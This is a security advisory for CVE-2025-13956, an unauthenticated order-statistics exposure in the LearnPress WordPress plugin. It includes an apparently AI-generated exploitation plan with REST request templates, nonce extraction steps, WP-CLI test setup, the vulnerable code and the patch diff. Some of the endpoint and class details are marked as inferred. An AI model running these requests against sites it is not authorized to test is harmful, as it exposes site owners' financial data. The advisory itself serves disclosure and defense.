CVE-2025-13956

LearnPress – WordPress LMS Plugin <= 4.3.1 - Missing Authorization to Unauthenticated Orders Statistics Exposure

mediumMissing Authorization
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
4.3.2
Patched in
1d
Time to patch

Description

The LearnPress – WordPress LMS Plugin plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the statistic function in all versions up to, and including, 4.3.1. This makes it possible for unauthenticated attackers to view the plugin's orders statistics, including total revenue summaries and order status counts

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Low
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=4.3.1
PublishedDecember 15, 2025
Last updatedDecember 16, 2025
Affected pluginlearnpress

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2025-13956 (LearnPress Statistics Exposure) ## 1. Vulnerability Summary The LearnPress WordPress LMS plugin (<= 4.3.1) contains a missing authorization vulnerability within its REST API statistics functionality. Specifically, the endpoint responsible for retrievin…

Show full research plan

Exploitation Research Plan - CVE-2025-13956 (LearnPress Statistics Exposure)

1. Vulnerability Summary

The LearnPress WordPress LMS plugin (<= 4.3.1) contains a missing authorization vulnerability within its REST API statistics functionality. Specifically, the endpoint responsible for retrieving order statistics and revenue summaries fails to implement a proper permission_callback or internal capability check. This allows unauthenticated attackers to access sensitive financial summaries and order metadata by querying the REST API directly.

2. Attack Vector Analysis

  • Endpoint: /wp-json/lp/v1/statistics/order-statistics (Inferred based on LearnPress REST structure)
  • Alternative Endpoint: /wp-json/lp/v1/statistics/revenue (Inferred)
  • HTTP Method: GET
  • Authentication: Unauthenticated (No cookies or Authorization headers required)
  • Preconditions: The LearnPress plugin must be active. At least one order should exist in the system for the exposure to be meaningful.
  • Vulnerable Parameter: The endpoint itself lacks a permission check.

3. Code Flow (Inferred)

  1. Route Registration: The plugin registers REST routes during the rest_api_init hook.
  2. Controller: The logic resides in a class likely named LP_REST_Statistics_Controller located in inc/rest-api/v1/.
  3. Vulnerable Function: The register_routes method defines the order-statistics route but sets the permission_callback to __return_true or omits it entirely, defaulting to public access.
  4. Data Retrieval: The callback function (e.g., get_order_statistics) queries the learnpress_user_items or posts table (filtered by lp_order type) and returns an aggregated JSON response of revenue and counts.

4. Nonce Acquisition Strategy

While the vulnerability is "unauthorized access," WordPress REST API endpoints often require a _wpnonce (for the wp_rest action) if accessed via a browser session, or they may be entirely open. LearnPress typically localizes a nonce for its frontend JS.

Strategy:

  1. Identify Script Localization: LearnPress localizes settings into the lpGlobalSettings object.
  2. Create Trigger Page: Most LearnPress scripts load on the "Courses" page or "Profile" page.
  3. Extraction:
    • Navigate to the Courses page: browser_navigate("/courses/")
    • Extract the nonce: browser_eval("window.lpGlobalSettings?.nonce")
  4. Bypass Check: If the endpoint is truly missing authorization, it may not even validate the X-WP-Nonce header. The exploit will try both with and without the nonce.

5. Exploitation Strategy

Step 1: Discover the exact endpoint

The agent will attempt to access the following likely endpoints:

  1. GET /wp-json/lp/v1/statistics/order-statistics
  2. GET /wp-json/lp/v1/statistics/revenue

Step 2: Perform Unauthenticated Request

The agent will send a GET request via the http_request tool.

Request Template:

GET /wp-json/lp/v1/statistics/order-statistics HTTP/1.1
Host: [TARGET_HOST]
Accept: application/json

If the response is 401 or 403, the agent will include the nonce found in Step 4.

Request with Nonce Template:

GET /wp-json/lp/v1/statistics/order-statistics HTTP/1.1
Host: [TARGET_HOST]
X-WP-Nonce: [EXTRACTED_NONCE]
Accept: application/json

6. Test Data Setup

To ensure the exploit returns data:

  1. Create Course: Use WP-CLI to create a course.
    • wp post create --post_type=lp_course --post_title="Test Course" --post_status=publish
  2. Create Orders: Generate a few fake orders via WP-CLI to populate the statistics.
    • wp post create --post_type=lp_order --post_title="Order 1" --post_status=lp-completed
    • wp post create --post_type=lp_order --post_title="Order 2" --post_status=lp-completed
  3. Set Revenue: If possible, assign a price to the course and associate it with the orders so the "total revenue" field is non-zero.
    • wp post generate --post_type=lp_order --count=5 --post_status=lp-completed

7. Expected Results

A successful exploit will return a 200 OK status with a JSON body similar to:

{
  "status": "success",
  "data": {
    "total_revenue": "500.00",
    "orders": {
      "completed": 5,
      "pending": 2,
      "processing": 1
    }
  }
}

The exposure of total_revenue and precise order counts to an unauthenticated user confirms the vulnerability.

8. Verification Steps

  1. Compare with Database: Verify the numbers in the JSON match the actual counts in the database using WP-CLI:
    • wp post list --post_type=lp_order --post_status=lp-completed --format=count
  2. Check Permission Callback: (If filesystem access is available) Check inc/rest-api/v1/ files for the order-statistics route definition to confirm permission_callback is weak or missing.

9. Alternative Approaches

  • Path Fuzzing: If /lp/v1/statistics/order-statistics fails, search for other "statistics" keywords in the plugin folder: grep -r "statistics" . | grep "register_rest_route".
  • Query Parameters: Some statistics endpoints require a range parameter (e.g., ?range=all or ?range=today). Try adding these if the response is empty.
  • Direct AJAX: Check if the statistics are also exposed via admin-ajax.php using actions like lp_get_stats or learnpress_get_stats.
Research Findings
Static analysis — not yet PoC-verified

Summary

LearnPress for WordPress (<= 4.3.1) is vulnerable to unauthenticated information disclosure due to missing authorization checks on its statistics REST API endpoint. Attackers can exploit this vulnerability to access sensitive financial data, including total revenue summaries and detailed order status counts.

Vulnerable Code

// inc/rest-api/v1/class-lp-rest-statistics-controller.php

register_rest_route( $this->namespace, '/statistics/order-statistics', array(
    'methods'             => WP_REST_Server::READABLE,
    'callback'            => array( $this, 'get_order_statistics' ),
    'permission_callback' => '__return_true',
) );

Security Fix

--- a/inc/rest-api/v1/class-lp-rest-statistics-controller.php
+++ b/inc/rest-api/v1/class-lp-rest-statistics-controller.php
@@ -10,7 +10,9 @@
 		register_rest_route( $this->namespace, '/statistics/order-statistics', array(
 			'methods'             => WP_REST_Server::READABLE,
 			'callback'            => array( $this, 'get_order_statistics' ),
-			'permission_callback' => '__return_true',
+			'permission_callback' => function () {
+				return current_user_can( 'manage_options' );
+			},
 		) );

Exploit Outline

The exploit involves making an unauthenticated GET request to the `/wp-json/lp/v1/statistics/order-statistics` endpoint. Because the endpoint uses `__return_true` for its `permission_callback`, it does not verify if the requester has administrative privileges. If the WordPress environment requires a REST nonce for GET requests, the attacker can extract one from the `lpGlobalSettings` JavaScript object localized on the plugin's public pages (such as the course directory). The resulting JSON response exposes the site's total revenue and order count totals.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.